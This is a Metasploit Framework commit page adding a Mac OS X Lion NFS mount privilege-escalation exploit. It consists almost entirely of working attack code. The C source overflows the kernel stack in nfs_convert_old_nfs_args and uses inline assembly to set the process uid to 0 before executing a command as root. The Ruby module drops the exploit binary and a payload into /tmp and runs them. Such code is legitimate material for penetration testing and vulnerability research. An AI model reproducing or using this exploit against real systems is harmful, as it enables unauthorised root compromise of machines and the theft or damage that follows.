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Land #3292 - Mac OS X NFS Mount Privilege Escalation Exploit

bug/bundler_fix
sinn3r 2014-04-24 13:43:20 -05:00
parent 656e60c35c 143aede19c
commit 5c0664fb3b
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data/exploits/osx/nfs_mount_priv_escalation.bin Normal file
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external/source/osx/nfs_mount_priv_escalation.c vendored Normal file
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/*
* Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit
* CVE None
* by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>
*
*
* Notes:
* This exploit leverage a stack overflow vulnerability to escalate privileges.
* The vulnerable function nfs_convert_old_nfs_args does not verify the size
* of a user-provided argument before copying it to the stack. As a result by
* passing a large size, a local user can overwrite the stack with arbitrary
* content.
*
* Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
* Tested on Max OS X Lion xnu-1699.32.7 (x86_64)
*
* Greets to taviso, spender, joberheide
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
/** change these to fit your environment if needed **/
#define SSIZE (536)
/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/
struct user_nfs_args {
int version; /* args structure version number */
char* addr __attribute__((aligned(8))); /* file server address */
int addrlen; /* length of address */
int sotype; /* Socket type */
int proto; /* and Protocol */
char * fh __attribute__((aligned(8))); /* File handle to be mounted */
int fhsize; /* Size, in bytes, of fh */
int flags; /* flags */
int wsize; /* write size in bytes */
int rsize; /* read size in bytes */
int readdirsize; /* readdir size in bytes */
int timeo; /* initial timeout in .1 secs */
int retrans; /* times to retry send */
int maxgrouplist; /* Max. size of group list */
int readahead; /* # of blocks to readahead */
int leaseterm; /* obsolete: Term (sec) of lease */
int deadthresh; /* obsolete: Retrans threshold */
char* hostname __attribute__((aligned(8))); /* server's name */
/* NFS_ARGSVERSION 3 ends here */
int acregmin; /* reg file min attr cache timeout */
int acregmax; /* reg file max attr cache timeout */
int acdirmin; /* dir min attr cache timeout */
int acdirmax; /* dir max attr cache timeout */
/* NFS_ARGSVERSION 4 ends here */
uint auth; /* security mechanism flavor */
/* NFS_ARGSVERSION 5 ends here */
uint deadtimeout; /* secs until unresponsive mount considered dead */
};
/** sets the uid for the current process and safely exits from the kernel**/
static void r00t_me() {
asm(
// padding
"nop; nop; nop; nop;"
// task_t %rax = current_task()
"movq %%gs:0x00000008, %%rax;"
"movq 0x00000348(%%rax), %%rax;"
// proc %rax = get_bsdtask_info()
"movq 0x000002d8(%%rax),%%rax;"
// ucred location at proc
"movq 0x000000d0(%%rax),%%rax;"
// uid = 0
"xorl %%edi, %%edi;"
"movl %%edi, 0x0000001c(%%rax);"
"movl %%edi, 0x00000020(%%rax);"
// fix the stack pointer and return (EACCES)
"movq $13, %%rax;"
"addq $0x00000308,%%rsp;"
"popq %%rbx;"
"popq %%r12;"
"popq %%r13;"
"popq %%r14;"
"popq %%r15;"
"popq %%rbp;"
"ret;"
:::"%rax"
);
}
int main(int argc, char ** argv) {
struct user_nfs_args xdrbuf;
char * path;
char obuf[SSIZE];
/** clear the arguments **/
memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));
memset(obuf, 0x00, SSIZE);
/** set up variable to get path to vulnerable code **/
xdrbuf.version = 3;
xdrbuf.hostname = "localhost";
xdrbuf.addrlen = SSIZE;
xdrbuf.addr = obuf;
/** set ret address **/
*(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);
printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]);
/** create a unique tmp name **/
if ((path = tmpnam(NULL)) == NULL) {
// path can be any directory which we have read/write/exec access
// but I'd much rather create one instead of searching for one
perror("[-] tmpnam");
exit(EXIT_FAILURE);
}
/** make the path in tmp so that we can use it **/
if (mkdir(path, 0660) < 0) {
perror("[-] mkdir");
exit(EXIT_FAILURE);
}
/** inform the user that the path was created **/
printf("[*] created sploit path%s\n", path);
/** call the vulnerable function **/
if (mount("nfs", path, 0, &xdrbuf) < 0) {
if (errno == EACCES) {
puts("[+] escalating privileges...");
} else {
perror("[-] mount");
}
}
/** clean up tmp dir **/
if (rmdir(path) < 0) {
perror("[-] rmdir");
}
/** check if privs are equal to root **/
if (getuid() != 0) {
puts("[-] priviledge escalation failed");
exit(EXIT_FAILURE);
}
/** get root shell **/
printf("[+] We are now uid=%i ... your welcome!\n", getuid());
printf("[+] Dropping a shell.\n");
/** execute **/
execl("/bin/sh", "/bin/sh", "-c", argv[1], NULL);
return 0;
}

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modules/exploits/osx/local/nfs_mount_root.rb Normal file
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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',
'Description' => %q{
This exploit leverage a stack overflow vulnerability to escalate privileges.
The vulnerable function nfs_convert_old_nfs_args does not verify the size
of a user-provided argument before copying it to the stack. As a result by
passing a large size, a local user can overwrite the stack with arbitrary
content.
Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kenzley Alphonse', # discovery and a very well-written exploit
'joev' # msf module
],
'References' =>
[
[ 'EDB', '32813' ]
],
'Platform' => 'osx',
'Arch' => [ ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X 10.7 Lion x64 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86_64
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 11 2014'
))
end
def check
if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')
exploit = File.read(file)
pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
print_status "Writing temp file... #{tmpfile}"
write_file(tmpfile, exploit)
register_file_for_cleanup(tmpfile)
print_status "Writing payload file... #{payloadfile}"
write_file(payloadfile, pload)
register_file_for_cleanup(payloadfile)
print_status "Executing payload..."
cmd_exec("chmod +x #{tmpfile}")
cmd_exec("chmod +x #{payloadfile}")
cmd_exec("#{tmpfile} #{payloadfile}")
end
def xnu_ver
m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/)
m && m[1]
end
def ver_lt(a, b)
Gem::Version.new(a.gsub(/~.*?$/,'')) < Gem::Version.new(b.gsub(/~.*?$/,''))
end
end